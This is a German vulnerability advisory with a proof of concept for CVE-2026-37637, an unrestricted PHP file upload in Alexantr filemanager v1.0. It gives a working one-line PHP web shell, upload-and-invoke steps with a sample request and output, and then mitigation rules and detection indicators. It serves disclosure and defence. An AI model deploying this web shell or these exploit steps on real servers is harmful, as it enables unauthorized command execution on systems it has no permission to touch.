
Remote-Code-Ausführung in Alexantr filemanager v1.0 durch uneingeschränkten Datei-Upload
Proof of Concept für CVE-2026-37637 – Remote Code Execution in Alexantr filemanager v1.0 durch uneingeschränkten Datei-Upload in filemanager.php.
CVE-2026-37637 ist eine Remote-Code-Execution-Schwachstelle, die Alexantr filemanager v1.0 betrifft.
Die Schwachstelle existiert in der Komponente filemanager.php aufgrund unzureichender Validierung hochgeladener Dateien. Ein entfernter Angreifer kann eine schädliche PHP-Datei in ein webbasiert zugängliches Verzeichnis hochladen und beliebige Befehle auf dem Server ausführen.
CVE-Status: Bei MITRE eingereicht
Forscher: CYBER-SEC Vendor-Repository: https://github.com/alexantr/filemanager
| Element | Beschreibung |
|---|
| CVE-ID | CVE-2026-37637 |
| Schwachstellentyp | Remote Code Execution |
| Betroffenes Produkt | Alexantr filemanager |
| Betroffene Version | v1.0 |
| Verwundbare Komponente | filemanager.php |
| Angriffsvektor | Remote |
| Authentifizierung erforderlich | Abhängig von Bereitstellung/Konfiguration |
| Auswirkung | Beliebige Befehlsausführung |
| Grundursache | Uneingeschränkter Datei-Upload und fehlende serverseitige Dateivalidierung |
Ein Angreifer kann über die Datei-Upload-Funktionalität eine schädliche PHP-Datei hochladen. Da hochgeladene Dateien an einem webbasiert zugänglichen Ort gespeichert werden und die PHP-Ausführung erlaubt ist, kann der Angreifer beliebige Systembefehle auf dem Server ausführen.
Eine erfolgreiche Ausnutzung kann einem Angreifer Folgendes ermöglichen:
Die Anwendung erlaubt Benutzern das Hochladen beliebiger Dateien, ohne die Dateierweiterung, den MIME-Typ oder den Dateiinhalt ordnungsgemäß zu validieren.
Eine schädliche PHP-Datei wie die folgende kann hochgeladen werden:
<?php system($_GET['cmd']); ?>
Sobald sie in ein webbasiert zugängliches Verzeichnis hochgeladen wurde, kann der Angreifer Befehle ausführen, indem er die Datei über den Browser aufruft und Befehle über den Parameter cmd übergibt.
Beispiel:
http://target/uploads/shell.php?cmd=id
Dies führt zur Befehlsausführung auf dem zugrunde liegenden Betriebssystem.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Öffnen Sie die Anwendung in einem Browser:
http://localhost:8000/filemanager.php
Je nach Bereitstellung oder Konfiguration kann die Anwendung auch über Folgendes erreichbar sein:
http://localhost:8000/pheditor.php
Erstellen Sie eine Datei mit dem Namen shell.php:
<?php system($_GET['cmd']); ?>
Laden Sie die Datei über die Upload-Funktionalität der Anwendung hoch.
Nach dem Hochladen der Datei rufen Sie sie direkt über den Browser auf:
http://localhost:8000/uploads/shell.php?cmd=id
Wenn der Exploit erfolgreich ist, führt der Server den Befehl aus und gibt die Ausgabe zurück.
Beispielausgabe:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
Der über den Parameter cmd übergebene Befehl wird auf dem Server ausgeführt.
Die Schwachstelle wird durch unzureichende serverseitige Validierung in der Datei-Upload-Funktionalität verursacht.
Die Anwendung schränkt Folgendes nicht ordnungsgemäß ein:
Infolgedessen können ausführbare PHP-Dateien hochgeladen und direkt ausgeführt werden.
Der Anbieter und die Benutzer sollten die folgenden Schutzmaßnahmen implementieren.
Das Hochladen ausführbarer Dateitypen wie der folgenden untersagen:
.php, .phtml, .php3, .php4, .php5, .phar
Nur erwartete Dateitypen zulassen, zum Beispiel:
.jpg, .png, .gif, .txt, .pdf
Sich nicht nur auf den vom Client bereitgestellten Content-Type-Header verlassen.
Die Dateivalidierung sollte serverseitig durchgeführt werden.
Hochgeladene Dateien sollten nicht direkt ausführbar oder öffentlich zugänglich sein.
Für Apache kann dies mit .htaccess erfolgen:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Für Nginx die PHP-Verarbeitung in Upload-Pfaden verhindern:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Zufällige, vom Server generierte Dateinamen verwenden und benutzerkontrollierte Erweiterungen entfernen.
Die Upload-Funktionalität nur auf vertrauenswürdige Benutzer beschränken.
Administratoren können in webbasiert zugänglichen Verzeichnissen nach verdächtigen hochgeladenen PHP-Dateien suchen.
Beispielindikatoren:
shell.php
cmd.php
upload.php
backdoor.php
.php-Dateien innerhalb von Upload-Verzeichnissen
Verdächtige Anfragemuster können Folgendes umfassen:
?cmd=
?exec=
?shell=
?command=
Beispieleintrag im Log:
GET /uploads/shell.php?cmd=id HTTP/1.1
Dieses Repository wird ausschließlich zu Bildungs- und Verteidigungszwecken im Bereich der Sicherheit bereitgestellt.
Die Informationen und der Proof of Concept sollen Entwicklern, Systemadministratoren und Sicherheitsexperten helfen, die Schwachstelle zu verstehen und zu beheben.
Verwenden Sie diese Informationen nicht, um Systeme ohne ausdrückliche Genehmigung anzugreifen. Unbefugter Zugriff auf Computersysteme ist illegal.
Der Autor ist nicht verantwortlich für jeglichen Missbrauch der in diesem Repository bereitgestellten Informationen.